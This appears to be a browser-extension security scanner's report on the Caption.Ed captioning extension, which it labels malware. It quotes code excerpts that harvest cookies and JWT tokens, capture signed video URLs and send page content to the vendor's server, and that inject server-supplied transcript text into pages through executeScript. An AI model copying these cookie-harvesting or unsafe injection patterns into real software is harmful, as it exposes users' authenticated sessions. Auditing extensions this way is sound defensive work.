Security Alert: Confirmed Malware
Caption.Ed
ID: aokjakfeailcmenjjgmbcepkfkcfgpie
Supported Languages
Extension Info & Metadata
Publisher Contextual Analysis
- Author
- CareScribeView Profile
- Privacy
- Privacy Policy
- Help
- Help Center
- Country
- GB
- MX records exist
- Yes
- Domain exists
- Yes
- Is disposable
- No
- Is role-based
- Yes
- Mailbox exists
- Yes
- Address
- 33b Springmeadow Lane OL3 6HW OL3 6HW GB
Email Change History
Realtime video transcription
Provides a live, on-screen captioning and transcription of any video or audio content playing from a webpage. Simply click the extension, select the language and press play and transcription appears instantly. You'll need a Caption.Ed Lite or Caption.Ed Pro account to use the software which you can set up at www.caption-ed.com Please note that the browser extension only supports captioning and transcription, it doesn't support note-taking that's available with the Caption.Ed desktop and mobile apps. Requires credit card details.
The extension calls chrome.cookies.getAll() on the video source URL and transmits all retrieved cookies wholesale to captioned.talk-type.com in every transcription session creation request. For educational platforms like Echo360 (which has explicit host permissions), these cookies include session authentication tokens that would grant the remote server full authenticated access to the user's account on that third-party platform.
async function fetchAuthedUrl(sourceUrl, pageTitle, siteContent = {}) { const { token } = await getItem('token'); const { subjectLang } = await getItem('subjectLang'); const videoSourceUrl = (siteContent && siteContent.urls && siteContent.urls[0]) || sourceUrl; const cookies = await cookiesForSourceUrl(videoSourceUrl) const { urls, pageContent } = siteContent; return fetch(`${envVars.webHost}/api/transcription_urls`, { method: 'POST', headers: headers(token), body: JSON.stringify({ lang: subjectLang || 'en-GB', transcription_session: { source_url: sourceUrl, media_urls: urls, title: pageTitle, cookies: cookies, page_content: pageContent }, }) })}The extension intercepts every mp4 and m3u8 network request across all websites regardless of the current page. Many CDN-hosted private video URLs embed time-limited signed authorization tokens as query parameters; these full signed URLs are captured, logged in-memory, and then transmitted to the remote server via updateSessionIfActive() on every match, potentially leaking presigned CDN access credentials.
chrome.webRequest.onBeforeRequest.addListener( (details) => { chrome.tabs.get(details.tabId, tab => { const pageSourceKey = generateSourceKey(tab.url, tab.title) addVideoUrlsTo(sourceKey, details.url) updateSessionIfActive(sourceUrl) // transmits updated URL list to remote server }) return { cancel: false }; }, { types: ["xmlhttprequest", "object", "media"], urls: [ "http://*/*.m3u8", "https://*/*.m3u8", "http://*/*.m3u8?*", "https://*/*.m3u8?*", "http://*/*.mp4", "https://*/*.mp4", "http://*/*.mp4?*", "https://*/*.mp4?*" ] });The background script repeatedly constructs code strings via function.toString() and string concatenation, then injects them into the active tab with chrome.tabs.executeScript(). Transcript text returned from the remote WebSocket server is interpolated directly into the executable code string (chunk.transcript), creating an XSS-equivalent injection vector: if the remote server delivers malicious transcript content, it executes in the victim page's context.
const findVideoReference = async () => { return new Promise((resolve, reject) => { chrome.tabs.executeScript({ code: `(${findVideoUrls.toString()})()` }, (res) => { (res.length > 0) ? resolve(res[0]): resolve([]); }); });}const executableCode = '(' + updateChunk.toString() + ')(\'\"' + chunk.resultId + '\"\',' + chunk.startTime + ',\"' + chunk.transcript + '\")';chrome.tabs.executeScript(tabId, { code: executableCode});const changeStyleCode = `( ${updateStyle.toString()} )({ textSize: ${styles.textSize}, backgroundColor: '${styles.backgroundColor}', textColor: '${styles.textColor}' })`;chrome.tabs.executeScript(tabId, { code: changeStyleCode});A content script injected on all talk-type.com, carescribe.io, and caption-ed.com pages extracts a JWT bearer token from a page meta tag and forwards it to the background script where it is stored in chrome.storage.local and subsequently attached as the Authorization header in all API calls. While targeting the extension's own service domains, this pattern of reading authentication tokens from DOM and routing them through the extension's privileged context is a credential capture mechanism.
console.log('Attempting Caption.Ed auto login')const tokenMetaTag = document.getElementsByTagName('meta').jwt_tokenif (tokenMetaTag) { const token = tokenMetaTag.content; chrome.runtime.sendMessage({ token });}// In background.js, the received token is stored and used as Authorization header:chrome.runtime.onMessage.addListener(function(request) { if (request.token) { setItem('token', request.token); }});All four JavaScript bundles (background, popup, options, videoInspector) are shipped using webpack's development 'eval' devtool, which the bundler itself explicitly warns is not for production use. Every module's source executes via eval(), making static analysis and Chrome Web Store automated review significantly harder. This same pattern appears across all bundles, suggesting an intentional build configuration choice rather than an oversight.
/* * ATTENTION: The "eval" devtool has been used (maybe by default in mode: "development"). * This devtool is neither made for production nor for readable output files. * It uses "eval()" calls to create a separate source file in the browser devtools. * If you are trying to read the output file, select a different devtool * or disable the default devtool with "devtool: false". * If you are looking for production-ready output files, see mode: "production". */// Every module in the bundle is wrapped in eval():eval("__webpack_require__.r(__webpack_exports__);\n/* harmony export */...\n// actual module code here")The extension scrapes the full outerHTML of every video element on the active page and transmits this structural page content to the remote server in each transcription session request under the page_content field. Video element attributes can expose internal media URLs, authentication parameters, cross-origin resource identifiers, and platform-specific metadata that the user has not consented to share.
const fetchVideoTags = async () => { return new Promise((resolve, reject) => { chrome.tabs.executeScript({ code: `(${findVideoElements.toString()})()` }, (res) => { (res.length > 0) ? resolve(res[0]): resolve([]); }); });}// findVideoElements implementation:function findVideoElements() { const elements = document.getElementsByTagName('video'); return Array.from(elements).map(e => e.outerHTML);}// Collected HTML is sent in the POST body:page_content: pageContent // { video_tags: [<video src='...' ...></video>, ...] }The options page script shipped to 10,000 users contains active debug alert() calls with a nonsense string 'sdfsdfsdf' that fire immediately on every options page load. Similarly, insertTranscriptWindow.js contains only document.body.style.backgroundColor='orange'. These artifacts indicate the extension was shipped in an untested, development-quality state, raising questions about code review practices and whether other debug or test behaviors may be present in harder-to-inspect eval-wrapped bundles.
function restoreOptions() { alert('sdfsdfsdf') // Use default value bufferSize = 'undefined' chrome.storage.local.get({ bufferSize: '0', }, function(items) { alert(items) document.getElementById('buffer-size') .value = items.bufferSize; });}document.addEventListener('DOMContentLoaded', restoreOptions);By severity
Versions scanned
Showing 1 of 20 scanned versions with more than one unique finding. Counts are unique findings that include each version.
| Extension Version | Code Review Findings |
|---|---|
| 1.7.6 | 7 |
Files with findings
3 distinct paths — top paths by unique finding count:
- background.bundle.js5
- 66547f3131c7524c0a66.js1
- autoLoginScript.bundle.js1
URLs
View the external URLs this extension communicates with to understand its network activity and data interactions.
Gain full insight into all external connections.
Upgrade for full visibility.
Gain full insight into all external connections.
Upgrade for full visibility.
Code Diff
Compare extension code between any two versions.
No comparable text files found between these versions.
Browse and explore files within this extension package
Gain full insight into all external connections.
Upgrade for full visibility.